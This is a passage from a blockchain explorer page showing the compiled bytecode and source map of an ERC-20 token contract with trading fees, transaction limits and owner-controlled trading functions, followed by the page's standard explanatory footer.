038216610ae15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ba55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050b565b6001600160a01b038216610c075760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050b565b5f8111610c685760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161050b565b5f6001600160a01b0384163014801590610c8b57506001600160a01b0383163014155b15610ec557610cbc6064610cb6600a54600c5411610cab57600654610caf565b6008545b85906111e1565b90611266565b6011549091506001600160a01b038581169116148015610cea57506010546001600160a01b03848116911614155b8015610d0e57506001600160a01b0383165f9081526003602052604090205460ff16155b15610df457600d54821115610d655760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161050b565b600e5482610d87856001600160a01b03165f9081526001602052604090205490565b610d91919061163f565b1115610ddf5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161050b565b600c8054905f610dee83611652565b91905055505b6011546001600160a01b038481169116148015610e1a57506001600160a01b0384163014155b15610e4757610e446064610cb6600b54600c5411610e3a57600754610caf565b60095485906111e1565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610e7d57506011546001600160a01b038581169116145b8015610e925750601154600160b01b900460ff165b15610ec3578015610eba57610eba610eb584610eb084600f546112a7565b6112a7565b61103a565b610ec3476111aa565b505b8015610f3d57305f90815260016020526040902054610ee490826112bb565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f349085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610f5f9083611319565b6001600160a01b0385165f90815260016020526040902055610fa2610f848383611319565b6001600160a01b0385165f90815260016020526040902054906112bb565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610feb8585611319565b60405190815260200160405180910390a350505050565b5f81848411156110255760405162461bcd60e51b815260040161050b9190611386565b505f611031848661166a565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110805761108061167d565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110fb91906115da565b8160018151811061110e5761110e61167d565b6001600160a01b0392831660209182029290920101526010546111349130911684610a1e565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061116c9085905f90869030904290600401611691565b5f604051808303815f87803b158015611183575f80fd5b505af1158015611195573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104de573d5f803e3d5ffd5b5f825f036111f057505f6103c7565b5f6111fb838561158e565b9050826112088583611702565b1461125f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050b565b9392505050565b5f61125f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061135a565b5f8183116112b5578261125f565b50919050565b5f806112c7838561163f565b90508381101561125f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050b565b5f61125f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611002565b5f818361137a5760405162461bcd60e51b815260040161050b9190611386565b505f6110318486611702565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146113cf575f80fd5b50565b5f80604083850312156113e3575f80fd5b82356113ee816113bb565b946020939093013593505050565b5f805f6060848603121561140e575f80fd5b8335611419816113bb565b92506020840135611429816113bb565b929592945050506040919091013590565b5f6020828403121561144a575f80fd5b813561125f816113bb565b5f8060408385031215611466575f80fd5b8235611471816113bb565b91506020830135611481816113bb565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156114da57815f19048211156114c0576114c061148c565b808516156114cd57918102915b93841c93908002906114a5565b509250929050565b5f826114f0575060016103c7565b816114fc57505f6103c7565b8160018114611512576002811461151c57611538565b60019150506103c7565b60ff84111561152d5761152d61148c565b50506001821b6103c7565b5060208310610133831016604e8410600b841016171561155b575081810a6103c7565b61156583836114a0565b805f19048211156115785761157861148c565b029392505050565b5f61125f60ff8416836114e2565b80820281158282048414176103c7576103c761148c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156115ea575f80fd5b815161125f816113bb565b5f805f60608486031215611607575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611630575f80fd5b8151801515811461125f575f80fd5b808201808211156103c7576103c761148c565b5f600182016116635761166361148c565b5060010190565b818103818111156103c7576103c761148c565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156116e15784516001600160a01b0316835293830193918301916001016116bc565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261171c57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205abc17513c72520a79df36b78d4ce9dd975be8830e23052b666b161a4e04855164736f6c63430008190033

Deployed Bytecode Sourcemap

3618:7369:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5393:83;;;;;;;;;;-1:-1:-1;5463:5:0;;;;;;;;;;;;-1:-1:-1;;;5463:5:0;;;;5393:83;;;;;;;:::i;:::-;;;;;;;;6226:161;;;;;;;;;;-1:-1:-1;6226:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6226:161:0;893:187:1;4597:53:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4597:53:0;1085:177:1;5670:95:0;;;;;;;;;;;;;:::i;6395:370::-;;;;;;;;;;-1:-1:-1;6395:370:0;;;;;:::i;:::-;;:::i;5579:83::-;;;;;;;;;;-1:-1:-1;5579:83:0;;4277:1;1870:36:1;;1858:2;1843:18;5579:83:0;1728:184:1;4708:28:0;;;;;;;;;;-1:-1:-1;4708:28:0;;;;-1:-1:-1;;;;;4708:28:0;;;;;;-1:-1:-1;;;;;2081:32:1;;;2063:51;;2051:2;2036:18;4708:28:0;1917:203:1;10435:348:0;;;;;;;;;;;;;:::i;:::-;;5773:119;;;;;;;;;;-1:-1:-1;5773:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5866:18:0;5839:7;5866:18;;;:9;:18;;;;;;;5773:119;2699:148;;;;;;;;;;;;;:::i;9448:159::-;;;;;;;;;;;;;:::i;10791:193::-;;;;;;;;;;-1:-1:-1;10791:193:0;;;;;:::i;:::-;;:::i;4471:55::-;;;;;;;;;;;;;;;;9717:673;;;;;;;;;;;;;:::i;2485:79::-;;;;;;;;;;-1:-1:-1;2523:7:0;2550:6;-1:-1:-1;;;;;2550:6:0;2485:79;;4533:57;;;;;;;;;;;;;;;;5484:87;;;;;;;;;;-1:-1:-1;5556:7:0;;;;;;;;;;;;-1:-1:-1;;;5556:7:0;;;;5484:87;;5900:167;;;;;;;;;;-1:-1:-1;5900:167:0;;;;;:::i;:::-;;:::i;6075:143::-;;;;;;;;;;-1:-1:-1;6075:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6183:18:0;;;6156:7;6183:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6075:143;6226:161;6301:4;6318:39;320:10;6341:7;6350:6;6318:8;:39::i;:::-;-1:-1:-1;6375:4:0;6226:161;;;;;:::o;5670:95::-;5723:7;4335:13;4277:1;4335:2;:13;:::i;:::-;4320:28;;:11;:28;:::i;:::-;5743:14;;5670:95;:::o;6395:370::-;6493:4;6510:36;6520:6;6528:9;6539:6;6510:9;:36::i;:::-;6565:10;;-1:-1:-1;;;;;6565:10:0;320;-1:-1:-1;;;;;6550:25:0;;;:53;;;;-1:-1:-1;6595:8:0;;-1:-1:-1;;;;;6595:8:0;320:10;-1:-1:-1;;;;;6579:24:0;;;6550:53;6547:188;;;6614:121;6623:6;320:10;6645:89;6683:6;6645:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6645:19:0;;;;;;:11;:19;;;;;;;;320:10;6645:33;;;;;;;;;;:37;:89::i;:::-;6614:8;:121::i;:::-;-1:-1:-1;6753:4:0;6395:370;;;;;:::o;10435:348::-;10499:10;;-1:-1:-1;;;;;10499:10:0;320;-1:-1:-1;;;;;10485:24:0;;10477:33;;;;;;10560:4;10521:20;5866:18;;;:9;:18;;;;;;10580:14;;10577:73;;10608:30;10625:12;10608:16;:30::i;:::-;10679:21;10714:12;;10711:65;;10740:24;10753:10;10740:12;:24::i;:::-;10466:317;;10435:348::o;2699:148::-;2612:6;;-1:-1:-1;;;;;2612:6:0;320:10;2612:22;2604:67;;;;-1:-1:-1;;;2604:67:0;;;;;;;:::i;:::-;;;;;;;;;2806:1:::1;2790:6:::0;;2769:40:::1;::::0;-1:-1:-1;;;;;2790:6:0;;::::1;::::0;2769:40:::1;::::0;2806:1;;2769:40:::1;2837:1;2820:19:::0;;-1:-1:-1;;;;;;2820:19:0::1;::::0;;2699:148::o;9448:159::-;2612:6;;-1:-1:-1;;;;;2612:6:0;320:10;2612:22;2604:67;;;;-1:-1:-1;;;2604:67:0;;;;;;;:::i;:::-;4335:13:::1;4277:1;4335:2;:13;:::i;:::-;4320:28;::::0;:11:::1;:28;:::i;:::-;9501:12;:22:::0;4335:13:::1;4277:1;4335:2;:13;:::i;:::-;4320:28;::::0;:11:::1;:28;:::i;:::-;9534:14;:22:::0;9572:27:::1;4335:13;4277:1;4335:2;:13;:::i;:::-;4320:28;::::0;:11:::1;:28;:::i;:::-;9572:27;::::0;1231:25:1;;;1219:2;1204:18;9572:27:0::1;;;;;;;9448:159::o:0;10791:193::-;10884:8;;-1:-1:-1;;;;;10884:8:0;10870:10;:22;10862:31;;;;;;10894:10;:20;;-1:-1:-1;;;;;10894:20:0;;-1:-1:-1;;;;;;10894:20:0;;;;;;10925:51;;10933:10;;10954:21;10925:51;;;;;10894:10;10925:51;10894:10;10925:51;10954:21;10933:10;10925:51;;;;;;;;;;;;;;;;;;;9717:673;2612:6;;-1:-1:-1;;;;;2612:6:0;320:10;2612:22;2604:67;;;;-1:-1:-1;;;2604:67:0;;;;;;;:::i;:::-;9783:11:::1;::::0;-1:-1:-1;;;9783:11:0;::::1;;;9782:12;9774:47;;;::::0;-1:-1:-1;;;9774:47:0;;5275:2:1;9774:47:0::1;::::0;::::1;5257:21:1::0;5314:2;5294:18;;;5287:30;5353:25;5333:18;;;5326:53;5396:18;;9774:47:0::1;5073:347:1::0;9774:47:0::1;9832:15;:80:::0;;-1:-1:-1;;;;;;9832:80:0::1;9869:42;9832:80:::0;;::::1;::::0;;;9923:58:::1;::::0;9940:4:::1;::::0;4335:13:::1;4277:1;4335:2;:13;:::i;:::-;4320:28;::::0;:11:::1;:28;:::i;9923:58::-;10026:15;;;;;;;;;-1:-1:-1::0;;;;;10026:15:0::1;-1:-1:-1::0;;;;;10026:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10008:55:0::1;;10072:4;10079:15;;;;;;;;;-1:-1:-1::0;;;;;10079:15:0::1;-1:-1:-1::0;;;;;10079:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10008:94;::::0;-1:-1:-1;;;;;;10008:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5911:15:1;;;10008:94:0::1;::::0;::::1;5893:34:1::0;5963:15;;5943:18;;;5936:43;5828:18;;10008:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9992:13;:110:::0;;-1:-1:-1;;;;;9992:110:0;;::::1;-1:-1:-1::0;;;;;;9992:110:0;;::::1;;::::0;;10113:15:::1;::::0;::::1;:31;10152:21;10183:4;10189:24;10183:4:::0;-1:-1:-1;;;;;5866:18:0;5839:7;5866:18;;;:9;:18;;;;;;;5773:119;10189:24:::1;10214:1;10216::::0;10218:7:::1;2523::::0;2550:6;-1:-1:-1;;;;;2550:6:0;;2485:79;10218:7:::1;10113:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10113:129:0;;;-1:-1:-1;;;;;6349:15:1;;;10113:129:0::1;::::0;::::1;6331:34:1::0;6381:18;;;6374:34;;;;6424:18;;;6417:34;;;;6467:18;;;6460:34;6531:15;;;6510:19;;;6503:44;10226:15:0::1;6563:19:1::0;;;6556:35;6265:19;;10113:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10260:13:0::1;::::0;10291:15:::1;::::0;10253:71:::1;::::0;-1:-1:-1;;;10253:71:0;;-1:-1:-1;;;;;10291:15:0;;::::1;10253:71;::::0;::::1;7087:51:1::0;-1:-1:-1;;7154:18:1;;;7147:34;10260:13:0;::::1;::::0;-1:-1:-1;10253:29:0::1;::::0;7060:18:1;;10253:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10335:11:0::1;:18:::0;;-1:-1:-1;;;;10364:18:0;-1:-1:-1;;;10364:18:0;;;9717:673::o;5900:167::-;5978:4;5995:42;320:10;6019:9;6030:6;5995:9;:42::i;6773:335::-;-1:-1:-1;;;;;6866:19:0;;6858:68;;;;-1:-1:-1;;;6858:68:0;;7676:2:1;6858:68:0;;;7658:21:1;7715:2;7695:18;;;7688:30;7754:34;7734:18;;;7727:62;-1:-1:-1;;;7805:18:1;;;7798:34;7849:19;;6858:68:0;7474:400:1;6858:68:0;-1:-1:-1;;;;;6945:21:0;;6937:68;;;;-1:-1:-1;;;6937:68:0;;8081:2:1;6937:68:0;;;8063:21:1;8120:2;8100:18;;;8093:30;8159:34;8139:18;;;8132:62;-1:-1:-1;;;8210:18:1;;;8203:32;8252:19;;6937:68:0;7879:398:1;6937:68:0;-1:-1:-1;;;;;7016:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7068:32;;1231:25:1;;;7068:32:0;;1204:18:1;7068:32:0;;;;;;;6773:335;;;:::o;7116:1725::-;-1:-1:-1;;;;;7204:18:0;;7196:68;;;;-1:-1:-1;;;7196:68:0;;8484:2:1;7196:68:0;;;8466:21:1;8523:2;8503:18;;;8496:30;8562:34;8542:18;;;8535:62;-1:-1:-1;;;8613:18:1;;;8606:35;8658:19;;7196:68:0;8282:401:1;7196:68:0;-1:-1:-1;;;;;7283:16:0;;7275:64;;;;-1:-1:-1;;;7275:64:0;;8890:2:1;7275:64:0;;;8872:21:1;8929:2;8909:18;;;8902:30;8968:34;8948:18;;;8941:62;-1:-1:-1;;;9019:18:1;;;9012:33;9062:19;;7275:64:0;8688:399:1;7275:64:0;7367:1;7358:6;:10;7350:64;;;;-1:-1:-1;;;7350:64:0;;9294:2:1;7350:64:0;;;9276:21:1;9333:2;9313:18;;;9306:30;9372:34;9352:18;;;9345:62;-1:-1:-1;;;9423:18:1;;;9416:39;9472:19;;7350:64:0;9092:405:1;7350:64:0;7425:17;-1:-1:-1;;;;;7459:21:0;;7475:4;7459:21;;;;:44;;-1:-1:-1;;;;;;7484:19:0;;7498:4;7484:19;;7459:44;7455:1030;;;7532:76;7604:3;7532:67;7554:15;;7544:9;;:25;7543:55;;7584:14;;7543:55;;;7571:12;;7543:55;7532:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7637:13;;7520:88;;-1:-1:-1;;;;;;7629:21:0;;;7637:13;;7629:21;:55;;;;-1:-1:-1;7668:15:0;;-1:-1:-1;;;;;7654:30:0;;;7668:15;;7654:30;;7629:55;:83;;;;-1:-1:-1;;;;;;7690:22:0;;;;;;:18;:22;;;;;;;;7688:24;7629:83;7625:313;;;7752:12;;7742:6;:22;;7734:60;;;;-1:-1:-1;;;7734:60:0;;9704:2:1;7734:60:0;;;9686:21:1;9743:2;9723:18;;;9716:30;9782:27;9762:18;;;9755:55;9827:18;;7734:60:0;9502:349:1;7734:60:0;7847:14;;7837:6;7821:13;7831:2;-1:-1:-1;;;;;5866:18:0;5839:7;5866:18;;;:9;:18;;;;;;;5773:119;7821:13;:22;;;;:::i;:::-;:40;;7813:79;;;;-1:-1:-1;;;7813:79:0;;10188:2:1;7813:79:0;;;10170:21:1;10227:2;10207:18;;;10200:30;10266:28;10246:18;;;10239:56;10312:18;;7813:79:0;9986:350:1;7813:79:0;7911:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7625:313;7963:13;;-1:-1:-1;;;;;7957:19:0;;;7963:13;;7957:19;:43;;;;-1:-1:-1;;;;;;7980:20:0;;7995:4;7980:20;;7957:43;7954:174;;;8033:79;8108:3;8033:70;8055:16;;8045:9;;:26;8044:58;;8087:15;;8044:58;;;8073:13;;8033:6;;:10;:70::i;:79::-;8021:91;;7954:174;8193:4;8144:28;5866:18;;;:9;:18;;;;;;8219:6;;-1:-1:-1;;;8219:6:0;;;;8218:7;:32;;;;-1:-1:-1;8237:13:0;;-1:-1:-1;;;;;8229:21:0;;;8237:13;;8229:21;8218:32;:47;;;;-1:-1:-1;8254:11:0;;-1:-1:-1;;;8254:11:0;;;;8218:47;8214:260;;;8290:24;;8287:113;;8333:67;8350:49;8354:6;8361:37;8365:20;8386:11;;8361:3;:37::i;:::-;8350:3;:49::i;:::-;8333:16;:67::i;:::-;8423:35;8436:21;8423:12;:35::i;:::-;7505:980;7455:1030;8500:11;;8497:161;;8568:4;8550:24;;;;:9;:24;;;;;;:39;;8579:9;8550:28;:39::i;:::-;8543:4;8525:24;;;;:9;:24;;;;;;;:64;;;;8607:39;;-1:-1:-1;;;;;8607:39:0;;;;;;;8636:9;1231:25:1;;1219:2;1204:18;;1085:177;8607:39:0;;;;;;;;8497:161;-1:-1:-1;;;;;8684:15:0;;;;;;:9;:15;;;;;;:27;;8704:6;8684:19;:27::i;:::-;-1:-1:-1;;;;;8668:15:0;;;;;;:9;:15;;;;;:43;8736:40;8754:21;:6;8765:9;8754:10;:21::i;:::-;-1:-1:-1;;;;;8736:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8722:13:0;;;;;;;:9;:13;;;;;:54;;;;8792:41;;;8811:21;:6;8822:9;8811:10;:21::i;:::-;8792:41;;1231:25:1;;;1219:2;1204:18;8792:41:0;;;;;;;7185:1656;7116:1725;;;:::o;1377:190::-;1463:7;1499:12;1491:6;;;;1483:29;;;;-1:-1:-1;;;1483:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1523:9:0;1535:5;1539:1;1535;:5;:::i;:::-;1523:17;1377:190;-1:-1:-1;;;;;1377:190:0:o;8957:483::-;4931:6;:13;;-1:-1:-1;;;;4931:13:0;-1:-1:-1;;;4931:13:0;;;9059:16:::1;::::0;;9073:1:::1;9059:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9059:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9059:16:0::1;9035:40;;9104:4;9086;9091:1;9086:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9086:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9130:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9130:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9086:7;;9130:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9120:4;9125:1;9120:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9120:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9195:15:::1;::::0;9163:62:::1;::::0;9180:4:::1;::::0;9195:15:::1;9213:11:::0;9163:8:::1;:62::i;:::-;9236:15;::::0;:196:::1;::::0;-1:-1:-1;;;9236:196:0;;-1:-1:-1;;;;;9236:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9317:11;;9236:15:::1;::::0;9359:4;;9386::::1;::::0;9406:15:::1;::::0;9236:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4967:6:0;:14;;-1:-1:-1;;;;4967:14:0;;;-1:-1:-1;;;;8957:483:0:o;9615:92::-;9672:10;;:27;;-1:-1:-1;;;;;9672:10:0;;;;:27;;;;;9692:6;;9672:10;:27;:10;:27;9692:6;9672:10;:27;;;;;;;;;;;;;;;;;;;1575:246;1633:7;1657:1;1662;1657:6;1653:47;;-1:-1:-1;1687:1:0;1680:8;;1653:47;1710:9;1722:5;1726:1;1722;:5;:::i;:::-;1710:17;-1:-1:-1;1755:1:0;1746:5;1750:1;1710:17;1746:5;:::i;:::-;:10;1738:56;;;;-1:-1:-1;;;1738:56:0;;12287:2:1;1738:56:0;;;12269:21:1;12326:2;12306:18;;;12299:30;12365:34;12345:18;;;12338:62;-1:-1:-1;;;12416:18:1;;;12409:31;12457:19;;1738:56:0;12085:397:1;1738:56:0;1812:1;1575:246;-1:-1:-1;;;1575:246:0:o;1829:132::-;1887:7;1914:39;1918:1;1921;1914:39;;;;;;;;;;;;;;;;;:3;:39::i;8851:98::-;8908:7;8935:1;8933;:3;8932:9;;8940:1;8932:9;;;-1:-1:-1;8938:1:0;8851:98;-1:-1:-1;8851:98:0:o;1046:179::-;1104:7;;1136:5;1140:1;1136;:5;:::i;:::-;1124:17;;1165:1;1160;:6;;1152:46;;;;-1:-1:-1;;;1152:46:0;;12689:2:1;1152:46:0;;;12671:21:1;12728:2;12708:18;;;12701:30;12767:29;12747:18;;;12740:57;12814:18;;1152:46:0;12487:351:1;1233:136:0;1291:7;1318:43;1322:1;1325;1318:43;;;;;;;;;;;;;;;;;:3;:43::i;1969:189::-;2055:7;2090:12;2083:5;2075:28;;;;-1:-1:-1;;;2075:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2114:9:0;2126:5;2130:1;2126;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:315::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;2125:247::-;2184:6;2237:2;2225:9;2216:7;2212:23;2208:32;2205:52;;;2253:1;2250;2243:12;2205:52;2292:9;2279:23;2311:31;2336:5;2311:31;:::i;2637:388::-;2705:6;2713;2766:2;2754:9;2745:7;2741:23;2737:32;2734:52;;;2782:1;2779;2772:12;2734:52;2821:9;2808:23;2840:31;2865:5;2840:31;:::i;:::-;2890:5;-1:-1:-1;2947:2:1;2932:18;;2919:32;2960:33;2919:32;2960:33;:::i;:::-;3012:7;3002:17;;;2637:388;;;;;:::o;3030:127::-;3091:10;3086:3;3082:20;3079:1;3072:31;3122:4;3119:1;3112:15;3146:4;3143:1;3136:15;3162:416;3251:1;3288:5;3251:1;3302:270;3323:7;3313:8;3310:21;3302:270;;;3382:4;3378:1;3374:6;3370:17;3364:4;3361:27;3358:53;;;3391:18;;:::i;:::-;3441:7;3431:8;3427:22;3424:55;;;3461:16;;;;3424:55;3540:22;;;;3500:15;;;;3302:270;;;3306:3;3162:416;;;;;:::o;3583:806::-;3632:5;3662:8;3652:80;;-1:-1:-1;3703:1:1;3717:5;;3652:80;3751:4;3741:76;;-1:-1:-1;3788:1:1;3802:5;;3741:76;3833:4;3851:1;3846:59;;;;3919:1;3914:130;;;;3826:218;;3846:59;3876:1;3867:10;;3890:5;;;3914:130;3951:3;3941:8;3938:17;3935:43;;;3958:18;;:::i;:::-;-1:-1:-1;;4014:1:1;4000:16;;4029:5;;3826:218;;4128:2;4118:8;4115:16;4109:3;4103:4;4100:13;4096:36;4090:2;4080:8;4077:16;4072:2;4066:4;4063:12;4059:35;4056:77;4053:159;;;-1:-1:-1;4165:19:1;;;4197:5;;4053:159;4244:34;4269:8;4263:4;4244:34;:::i;:::-;4314:6;4310:1;4306:6;4302:19;4293:7;4290:32;4287:58;;;4325:18;;:::i;:::-;4363:20;;3583:806;-1:-1:-1;;;3583:806:1:o;4394:140::-;4452:5;4481:47;4522:4;4512:8;4508:19;4502:4;4481:47;:::i;4539:168::-;4612:9;;;4643;;4660:15;;;4654:22;;4640:37;4630:71;;4681:18;;:::i;4712:356::-;4914:2;4896:21;;;4933:18;;;4926:30;4992:34;4987:2;4972:18;;4965:62;5059:2;5044:18;;4712:356::o;5425:251::-;5495:6;5548:2;5536:9;5527:7;5523:23;5519:32;5516:52;;;5564:1;5561;5554:12;5516:52;5596:9;5590:16;5615:31;5640:5;5615:31;:::i;6602:306::-;6690:6;6698;6706;6759:2;6747:9;6738:7;6734:23;6730:32;6727:52;;;6775:1;6772;6765:12;6727:52;6804:9;6798:16;6788:26;;6854:2;6843:9;6839:18;6833:25;6823:35;;6898:2;6887:9;6883:18;6877:25;6867:35;;6602:306;;;;;:::o;7192:277::-;7259:6;7312:2;7300:9;7291:7;7287:23;7283:32;7280:52;;;7328:1;7325;7318:12;7280:52;7360:9;7354:16;7413:5;7406:13;7399:21;7392:5;7389:32;7379:60;;7435:1;7432;7425:12;9856:125;9921:9;;;9942:10;;;9939:36;;;9955:18;;:::i;10341:135::-;10380:3;10401:17;;;10398:43;;10421:18;;:::i;:::-;-1:-1:-1;10468:1:1;10457:13;;10341:135::o;10481:128::-;10548:9;;;10569:11;;;10566:37;;;10583:18;;:::i;10746:127::-;10807:10;10802:3;10798:20;10795:1;10788:31;10838:4;10835:1;10828:15;10862:4;10859:1;10852:15;10878:980;11140:4;11188:3;11177:9;11173:19;11219:6;11208:9;11201:25;11245:2;11283:6;11278:2;11267:9;11263:18;11256:34;11326:3;11321:2;11310:9;11306:18;11299:31;11350:6;11385;11379:13;11416:6;11408;11401:22;11454:3;11443:9;11439:19;11432:26;;11493:2;11485:6;11481:15;11467:29;;11514:1;11524:195;11538:6;11535:1;11532:13;11524:195;;;11603:13;;-1:-1:-1;;;;;11599:39:1;11587:52;;11694:15;;;;11659:12;;;;11635:1;11553:9;11524:195;;;-1:-1:-1;;;;;;;11775:32:1;;;;11770:2;11755:18;;11748:60;-1:-1:-1;;;11839:3:1;11824:19;11817:35;11736:3;10878:980;-1:-1:-1;;;10878:980:1:o;11863:217::-;11903:1;11929;11919:132;;11973:10;11968:3;11964:20;11961:1;11954:31;12008:4;12005:1;11998:15;12036:4;12033:1;12026:15;11919:132;-1:-1:-1;12065:9:1;;11863:217::o

Swarm Source

ipfs://5abc17513c72520a79df36b78d4ce9dd975be8830e23052b666b161a4e048551
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.